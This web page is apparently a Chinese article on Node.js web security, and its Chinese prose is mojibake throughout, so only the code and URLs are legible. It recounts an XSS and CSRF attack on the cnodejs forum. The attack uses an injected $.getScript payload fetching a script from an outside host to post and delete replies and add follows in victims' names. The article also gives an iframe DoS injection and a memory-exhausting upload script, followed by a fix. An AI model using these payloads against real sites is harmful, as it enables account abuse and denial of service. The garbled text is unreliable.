£¨1£©½«ÎÒËù·¢µÄÕâÆª¶ñÒâÖ÷ÌâÖö¥£¬ÒªÈøü¶àµÄÓû§¿´µ½£¬ÏëÒªÌû×ÓÖö¥£¬¾Í±ØÐëÈÃÓû§×Ô¶¯»Ø¸´£¬µ«ÊÇÈç¹ûÒ»µ©·è¿ñµÄ×Ô¶¯»Ø¸´£¬¿Ï¶¨»á±»¹ÜÀíÔ±·¢ÏÖ£¬½«µ¼ÖÂÖ÷Ìⱻɾ³ý»òÕßÒýÆðÆäËûÊܺ¦ÕßµÄ×¢Òâ¡£ËùÒÔÎÒ¹¹ÏëÁËÈçÏÂÁ÷³Ì£¬ÏÈ×Ô¶¯»Ø¸´Ö÷Ì⣬Ȼºó×Ô¶¯É¾³ý»Ø¸´µÄÖ÷Ì⣬ÕâÑù¾ÍÉñ²»Öª¹í²»¾õÁË£¬Óû§Ò²²»»á·¢ÏÖ×Ô¼º»Ø¸´¹ýÁË£¬¹ÜÀíÔ±Ò²²»»áÔÚÒ⣬ÒòΪÌû×Ó²¢Ã»ÓÐÏÔʾÀ¬»øÐÅÏ¢¡£

£¨2£©Ôö¼ÓÕʺÅsnoopyµÄ·ÛË¿Êý£¬ÒªÈÃÊܺ¦Õß¹Ø×¢snoopyÕâ¸öÕʺţ¬ÎÒÃÇÖ»ÒªÖ±½ÓαÔìÊܺ¦ÕßÇëÇ󣬷¢Ë͵½¹Ø×¢ÕʺŵĽӿڵØÖ·¼´¿É£¬µ±È»ÕâÒ²ÊÇÔÚºǫ́ÔËÐеġ£

ÏÂÃæÊÇÎÒÃÇÐèÒªÓõ½µÄcnodejsÕ¾µãHTTP½Ó¿ÚµØÖ·£º

£¨1£©·¢²¼»Ø¸´
urlµØÖ·£ºhttp://cnodejs.org/503cc6d5f767cc9a5120d351/reply
postÊý¾Ý£º
r_content:¶¥ÆðÀ´£¬±ØÐëµÄ
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

£¨2£©É¾³ý»Ø¸´
ÇëÇóµØÖ·£ºhttp://cnodejs.org/reply/504ffd5d5aa28e094300fd3a/delete
postÊý¾Ý£º
reply_id:504ffd5d5aa28e094300fd3a
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

£¨3£©¹Ø×¢
ÇëÇóµØÖ·£º http://cnodejs.org/ user/follow
postÊý¾Ý£º
follow_id: '4efc278525fa69ac690000f7',//ÎÒÔÚcnodejsÍøÕ¾µÄÓû§id
_csrf:Is5z5W5KmmKwlIAYV5UDly9F

½Ó¿ÚÎÒÃǶ¼Äõ½ÁË£¬È»ºó¾ÍÊǹ¹½¨¹¥»÷js½Å±¾ÁË£¬ÎÒÃǵÄjs½Å±¾¹¥»÷Á÷³Ì¾ÍÊÇ£º

£¨1£©»ñÈ¡_csrfÖµ

£¨2£©·¢²¼»Ø¸´

£¨3£©É¾³ý»Ø¸´

£¨4£©¼Ó¹Ø×¢

£¨5£©Ìø×ªµ½Õý³£µÄµØÖ·£¨·ÀÖ¹Óû§·¢ÏÖ£©

×îºóÎÒÃǽ«Õû¸ö¹¥»÷½Å±¾·ÅÔÚNAEÉÏ£¨ÏÖÔÚNAEÒѾ­¹Ø±ÕÁË£¬µ±ÄêÊDZȽÏÁ÷ÐеÄÒ»¸ö²¿ÊðNode.jsµÄÔÆÆ½Ì¨£©£¬È»ºó½«¹¥»÷´úÂë×¢Èëµ½<a>±êÇ©£º

javascript:$.getScript('http://rrest.cnodejs.net/static/cnode_csrf.js') //"id=
'follow_btn'name='http://rrest.cnodejs.net/static/cnode_csrf.js'
onmousedown='$.getScript(this.name)//'

Õâ´ÎµÄ×¢Èë¹¥»÷chrome£¬firefox£¬ie7+µÈÖ÷Á÷ä¯ÀÀÆ÷¶¼ÎÞÒ»ÐÒÃ⣬ÏÂÃæÊÇ×¢Èë³É¹¦µÄ½ØÍ¼£º

²»Ò»»á¾ÍÓÐÐí¶àÍøÓÑÖÐÕÐÁË£¬ÎҵĹØ×¢ÐÅÏ¢¼Ç¼¶àÁ˲»ÉÙ£º

ͨ¹ýÕâ´ÎXSSºÍCSRFµÄÁªñǹ¥»÷£¬snoopy³ÉΪÁËcnodejs·ÛË¿Êý×î¶àµÄÕʺ𣻨¹ËÕû¸öÁ÷³Ì£¬Ö÷Òª»¹ÊÇÒÀ¿¿XSS×¢Èë²ÅÍê³ÉÁ˹¥»÷£¬ËùÒÔÎÒÃÇÏëÒªÈÃÕ¾µã¸ü¼Ó°²È«£¬ÈκÎXSS¿ÉÄܵÄ×¢Èëµã¶¼Ò»¶¨ÒªÀÎÀΰѹأ¬³¹µ×¹ýÂ˵ôÈκοÉÄÜÓзçÏÕµÄ×Ö·û¡£

ÁíÍâÖµµÃÒ»ÌáµÄÊÇcookieµÄ½Ù³Ö£¬¶ñÒâÓû§ÔÚXSS×¢Èë³É¹¦Ö®ºó£¬Ò»°ã»áÓÃdocument.cookieÀ´»ñÈ¡Óû§Õ¾µãµÄcookieÖµ£¬´Ó¶øÎ±ÔìÓû§Éí·ÝÔì³ÉÆÆ»µ¡£´æ´¢ÔÚä¯ÀÀÆ÷¶ËµÄcookieÓÐÒ»¸ö·Ç³£ÖØÒªµÄÊôÐÔHttpOnly£¬µ±±êʶÓÐHttpOnlyÊôÐÔµÄcookie£¬¹¥»÷ÕßÊÇÎÞ·¨Í¨¹ýjs½Å±¾document.cookie»ñÈ¡µÄ£¬ËùÒÔ¶ÔÓÚÒ»°ãsessionidµÄ´æ´¢ÎÒÃǶ¼½¨ÒéÔÚдÈë¿Í»§¶Ëcookieʱ´øÉÏHttpOnly£¬expressÔÚдcookie´øÉÏHttpOnlyÊôÐԵĴúÂëÈçÏ£º

res.cookie('rememberme', '1', { expires: new Date(Date.now() + 900000), httpOnly: true });

Ó¦ÓòãDoS¾Ü¾ø·þÎñ

±¾Õ½«½éÉÜÔÚÓ¦ÓòãÃæµÄDoS¹¥»÷£¬Ó¦ÓòãһЩºÜСµÄ©¶´£¬¾ÍÓпÉÄܱ»¹¥»÷Õßץס´Ó¶øÔì³ÉÕû¸öϵͳ̱»¾£¬°üÀ¨ÉÏÃæÌáµ½µÄNode.js¹ÜµÀ¾Ü¾ø·þÎñ©¶´¶¼ÊÇÊôÓÚÕâÀ๥»÷¡£

Ó¦ÓòãºÍÍøÂç²ãµÄDoS

×î¾­µäµÄÍøÂç²ãDoS¾ÍÊÇSYN flood£¬ËüÀûÓÃÁËtcpЭÒéµÄÉè¼ÆÈ±ÏÝ£¬ÓÉÓÚtcpЭÒéµÄ¹ã·ºÊ¹Óã¬ËùÒÔĿǰÏëÒª¸ùÖÎÕâ¸ö©¶´ÊDz»¿ÉÄܵġ£

tcpµÄ¿Í»§¶ËºÍ·þÎñ¶ËÏëÒª½¨Á¢Á¬½ÓÐèÒª¾­¹ýÈý´ÎÎÕÊֵĹý³Ì£¬ËüÃÇ·Ö±ðÊÇ£º

£¨1£©¿Í»§¶ËÏò·þÎñ¶Ë·¢ËÍSYN°ü

£¨2£©·þÎñ¶ËÏò¿Í»§¶Ë·¢ËÍSYN/ACK°ü

£¨3£©¿Í»§¶ËÏò·þÎñ¶Ë·¢ËÍACK°ü

¹¥»÷ÕßÊ×ÏÈʹÓôóÁ¿È⼦·þÎñÆ÷²¢Î±ÔìÔ´ipµØÖ·£¬Ïò·þÎñ¶Ë·¢ËÍSYN°ü£¬Ï£Íû½¨Á¢tcpÁ¬½Ó£¬·þÎñ¶Ë¾Í»áÕý³£µÄÏìÓ¦SYN/ACK°ü£¬µÈ´ý¿Í»§¶ËÏìÓ¦¡£¹¥»÷¿Í»§¶Ë²¢²»»áÈ¥ÏìÓ¦ÕâЩSYN/ACK°ü£¬·þÎñ¶ËÅжϿͻ§¶Ë³¬Ê±¾Í»á¶ªÆúÕâ¸öÁ¬½Ó¡£Èç¹ûÕâЩ¹¥»÷Á¬½ÓÊýÁ¿¾Þ´ó£¬×îÖÕ·þÎñÆ÷¾Í»áÒòΪµÈ´ýºÍƵ·±´¦ÀíÕâÖÖ°ëÁ¬½Ó¶øÊ§È¥¶ÔÕý³£ÇëÇóµÄÏìÓ¦£¬´Ó¶øµ¼Ö¾ܾø·þÎñ¹¥»÷³É¹¦¡£

ͨ³£ÎÒÃÇ»áÒÀ¿¿Ò»Ð©Ó²¼þµÄ·À»ðǽÀ´¼õÇáÕâÀ๥»÷´øÀ´µÄΣº¦£¬ÍøÂç²ãµÄDDoS¹¥»÷·ÀÓùËã·¨·Ç³£¸´ÔÓ£¬ÎÒÃDZ¾½Ú½«ÌÖÂÛÓ¦ÓòãµÄDoS¹¥»÷¡£

Ó¦ÓòãµÄDoS¹¥»÷°éËæ×ÅÒ»¶¨µÄÒµÎñºÍweb·þÎñÆ÷µÄÌØÐÔ£¬ËùÒÔ¹¥»÷¸ü¼Ó¶àÑù»¯¡£Ä¿Ç°µÄÉÌÒµÓ²¼þÉ豸ºÜÄÑ¶ÔÆä×öµ½ÓÐЧµÄ·ÀÓù£¬Òò´ËËüµÄΣº¦ÐÔ¾ø¶Ô²»±ÈÍøÂç²ãµÄDDoSµÍ¡£

±ÈÈçºÚ¿ÍÔÚ¹¥ÏÝÁ˼¸¸öÁ÷Á¿±È½Ï´óµÄÍøÕ¾Ö®ºó£¬ÔÚÍøÒ³ÖÐ×¢ÈëÈçÏ´úÂ룺

<iframe src="http://attack web site url"></iframe>

ÕâÑùÿ¸ö·ÃÎÊÕâÐ©ÍøÕ¾µÄ¿Í»§¶Ë¶¼³ÉÁ˺ڿ͹¥»÷Ä¿±êÍøÕ¾µÄ°ïÊÖ£¬Èç¹û±»¹¥»÷µÄ·¾¶ÊÇһЩÐèÒª´óÁ¿I/O¼ÆËãµÄ½Ó¿ÚµÄ»°£¬¸ÃÄ¿±êÍøÕ¾½«»áºÜ¿ìʧȥÏìÓ¦£¬ºÚ¿ÍDoS¹¥»÷³É¹¦¡£

¹Ø×¢Ó¦ÓòãµÄDoSÍùÍùÐèÒª´Óʵ¼ÊÒµÎñÈëÊÖ£¬ÕÒµ½¿ÉÄܱ»¹¥»÷µÄµØ·½£¬×öÕë¶ÔÐԵķÀÓù¡£

³¬´óBuffer

ÔÚ¿ª·¢ÖÐ×ÜÓÐÕâÑùµÄweb½Ó¿Ú£¬½ÓÊÕÓû§´«µÝÉÏÀ´µÄjson×Ö·û´®£¬È»ºó½«Æä±£´æµ½Êý¾Ý¿âÖУ¬ÎÒÃǼòµ¥¹¹½¨ÈçÏ´úÂ룺

var http = require('http');
http.createServer(function (req, res) {
if(req.url === '/json' && req.method === 'POST'){//»ñÈ¡ÓÃÉÏ´«´úÂë
var body = [];
req.on('data',function(chunk){
body.push(chunk);//»ñÈ¡buffer
})
req.on('end',function(){
body = Buffer.concat(body);
res.writeHead(200, {'Content-Type': 'text/plain'});
//db.save(body) ÕâÀïÊÇÊý¾Ý¿âÈë¿â²Ù×÷
res.end('ok');
})
}
}).listen(8124);

ÎÒÃÇʹÓÃbufferÊý×飬±£´æÓû§·¢Ë͹ýÀ´µÄÊý¾Ý£¬×îºóͨ¹ýBuffer.concat½«ËùÓÐbufferÁ¬½ÓÆðÀ´£¬²¢²åÈëµ½Êý¾Ý¿â¡£

×¢ÒâÕⲿ·Ö´úÂ룺

req.on('data',function(chunk){
body.push(chunk);//»ñÈ¡buffer
})

²»ÄÜÓÃÏÂÃæ¼òµ¥µÄ×Ö·û´®Æ´½ÓÀ´´úÌæ£¬¿ÉÄÜÎÒÊÕµ½µÄÄÚÈݲ»ÊÇutf-8¸ñʽ£¬ÁíÍâ´ÓÆ´½ÓÐÔÄÜÉÏÀ´ËµÁ½ÕßÒ²²»ÊÇÒ»¸öÊýÁ¿¼¶µÄ£¬ÎÒÃÇ¿´ÈçϲâÊÔ£º

var buf = new Buffer('nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&');
console.time('string += buf');
var s = '';
for(var i=0;i<100000;i++){
s += buf;
}
s;
console.timeEnd('string += buf');


console.time('buf concat');
var list = [];
var len=0;
for(var i=0;i<100000;i++){
list.push(buf);
len += buf.length;
}
var s2 = Buffer.concat(list, len).toString();
console.timeEnd('buf concat');

Õâ¸ö²âÊԽű¾·Ö±ðʹÓÃÁ½ÖÖ²»Í¨µÄ·½Ê½½«bufÁ¬½Ó10W´Î£¬²¢·µ»Ø×Ö·û´®£¬ÎÒÃÇ¿´ÏÂÔËÐнá¹û£º

string += buf: 66ms
buf concat: 33ms

ÎÒÃÇ¿´µ½£¬ÔËÐÐÐÔÄÜÏà²îÁËÕûÕûÒ»±¶£¬ËùÒÔµ±ÎÒÃÇÔÚ´¦ÀíÕâÀàÇé¿öµÄÊý¾Ýʱ£¬½¨ÒéʹÓÃBuffer.concatÀ´×ö¡£

ÏÖÔÚ¿ªÊ¼¹¹½¨Ò»¸ö³¬´óµÄ¾ßÓÐ700mbµÄbuffer£¬È»ºó°ÑËü±£´æ³ÉÎļþ:

var fs = require('fs');
var buf = new Buffer(1024*1024*700);
buf.fill('h');
fs.writeFile('./large_file', buf, function(err){
if(err) return console.log(err);
console.log('ok')
})

ÎÒÃǹ¹½¨¹¥»÷½Å±¾£¬°ÑÕâ¸ö³¬´óµÄÎļþ·¢ËͳöÈ¥£¬Èç¹û½ÓÊÕÕâ¸öPOSTµÄNode.js·þÎñÆ÷ÊÇÄÚ´æÖ»ÓÐ512mbµÄСÐÍÔÆÖ÷»ú£¬ÄÇôµ±¹¥»÷ÕßÉÏ´«Õâ¸ö³¬´óÎļþºó£¬ÔÆÖ÷»úÄÚ´æ»áÏûºÄ´ù¾¡¡£

var http = require('http');
var fs = require('fs');
var options = {
hostname: '127.0.0.1',
port: 8124,
path: '/json',
method: 'POST'
};
var request = http.request(options, function(res) {
res.setEncoding('utf8');
res.on('readable', function () {
console.log(res.read());
});
});
fs.createReadStream('./large_file').pipe(request);

ÎÒÃÇ¿´Ò»ÏÂNode.js·þÎñÆ÷ÔÚÊܹ¥»÷ǰºóÄÚ´æµÄʹÓÃÇé¿ö£º

{ rss: 14225408, heapTotal: 6147328, heapUsed: 2688280 }
{ rss: 15671296, heapTotal: 7195904, heapUsed: 2861704 }
{ rss: 822194176, heapTotal: 78392696, heapUsed: 56070616 }
{ rss: 1575043072, heapTotal: 79424632, heapUsed: 43795160 }
{ rss: 1575579648, heapTotal: 80456568, heapUsed: 43675448 }

ÄÇôӦ¸ÃÈçºÎ½â¾öÕâÀà¶ñÒâ¹¥»÷ÄØ£¿ÎÒÃÇÖ»ÐèÒª½«Node.js·þÎñÆ÷´úÂëÐÞ¸ÄÈçÏ£¬¾Í¿ÉÒÔ±ÜÃâÓû§ÉÏ´«¹ý´óµÄÊý¾ÝÁË£º

var http = require('http');
http.createServer(function (req, res) {
if(req.url === '/json' && req.method === 'POST'){//»ñÈ¡ÓÃÉÏ´«´úÂë
var body = [];
var len = 0;//¶¨Òå±äÁ¿ÓÃÀ´¼Ç¼Óû§ÉÏ´«Îļþ´óС
req.on('data',function(chunk){
body.push(chunk);//»ñÈ¡buffer
len += chunk.length;
if(len>=1024*1024){//ÿ´ÎÊÕµ½Ò»¸öbuffer¿é¶¼Òª±È½ÏÒ»ÏÂÊÇ·ñ³¬¹ý1mb
res.end('too large');//Ö±½ÓÏìÓ¦´íÎó
}
})
req.on('end',function(){
body = Buffer.concat(body,len);
res.writeHead(200, {'Content-Type': 'text/plain'});
//db.save(body) ÕâÀïÊý¾Ý¿âÈë¿â²Ù×÷
res.end('ok');
})
}
}).listen(8124);

ͨ¹ýÉÏÊö´úÂëµÄµ÷Õû£¬ÎÒÃÇÿ´ÎÊÕµ½Ò»¸öbuffer¿é¶¼»áÈ¥±È½ÏһϴóС£¬Èç¹ûÊý¾Ý³¬´óÔòÁ¢¿Ì½Ø¶ÏÉÏ´«£¬±£Ö¤¶ñÒâÓû§ÎÞ·¨ÉÏ´«³¬´óÎļþÏûºÄ·þÎñÆ÷ÎïÀíÄÚ´æ¡£

   
3964 ´Îä¯ÀÀ       27
 
Ïà¹ØÎÄÕÂ

iOSÓ¦Óð²È«¿ª·¢£¬Äã²»ÖªµÀµÄÄÇЩÊÂÊõ
Web°²È«Ö®SQL×¢Èë¹¥»÷
ÒÆ¶¯APP°²È«ÔÚÉøÍ¸²âÊÔÖеÄÓ¦ÓÃ
´ÓGoogle±¸·Ý»¥ÁªÍø¿´¡°Êý¾Ý°²È«¡±
 
Ïà¹ØÎĵµ

web°²È«Éè¼ÆÓë·À»¤
»¥ÁªÍøº£Á¿ÄÚÈݰ²È«´¦Àí¼¼Êõ
ºÚ¿Í¹¥»÷Óë·À·¶¼¼Êõ
WEBºÚºÐ°²È«¼ì²â
 
Ïà¹Ø¿Î³Ì

WEBÍøÕ¾ÓëÓ¦Óð²È«Ô­ÀíÓëʵ¼ù
webÓ¦Óð²È«¼Ü¹¹Éè¼Æ
´´½¨°²È«µÄJ2EE WebÓ¦ÓôúÂë
ÐÅÏ¢°²È«ÎÊÌâÓë·À·¶
×îл¼Æ»®
DeepSeekÔÚÈí¼þ²âÊÔÓ¦ÓÃʵ¼ù 4-12[ÔÚÏß]
DeepSeek´óÄ£ÐÍÓ¦Óÿª·¢Êµ¼ù 4-19[ÔÚÏß]
UAF¼Ü¹¹ÌåϵÓëʵ¼ù 4-11[±±¾©]
AIÖÇÄÜ»¯Èí¼þ²âÊÔ·½·¨Óëʵ¼ù 5-23[ÉϺ£]
»ùÓÚ UML ºÍEA½øÐзÖÎöÉè¼Æ 4-26[±±¾©]
ÒµÎñ¼Ü¹¹Éè¼ÆÓ뽨ģ 4-18[±±¾©]

iOSÓ¦Óð²È«¿ª·¢
Web°²È«Ö®SQL×¢Èë¹¥»÷
APP°²È«ÔÚÉøÍ¸²âÊÔÖеÄÓ¦ÓÃ
³õ̽PHPµÄSQL×¢Èë¹¥»÷µÄ¼¼Êõ
´ÓGoogle±¸·Ý¿´¡°Êý¾Ý°²È«¡±


WEBÍøÕ¾ÓëÓ¦Óð²È«Ô­ÀíÓëʵ¼ù
webÓ¦Óð²È«¼Ü¹¹Éè¼Æ
´´½¨°²È«µÄJ2EE WebÓ¦ÓôúÂë
×¢²áÐÅÏ¢°²È«×¨ÒµÈËÔ±(CISP)
ÐÅÏ¢°²È«¹ÜÀí
ÐÅÏ¢°²È«ÎÊÌâÓë·À·¶


ÖйúÒøÐÐ ÐÅÏ¢°²È«¼¼Êõ¼°Éî¶È·ÀÓù
WebÓ¦Óð²È«¼Ü¹¹¡¢ÈëÇÖ¼ì²âÓë·À»¤
ij²ÆË°ÁìÓòÖªÃûIT·þÎñÉÌ Web°²È«²âÊÔ
ÆÕÈð¿Ë˹ web°²È«Éè¼Æ¡¢²âÊÔÓëÓÅ»¯
±±¾©ºÍÀûʱ ÐÔÄܺͰ²È«ÐÔ²âÊÔ
SUNÖйú¹¤³ÌÑо¿Ôº JSF¿ò¼Ü¡¢°²È«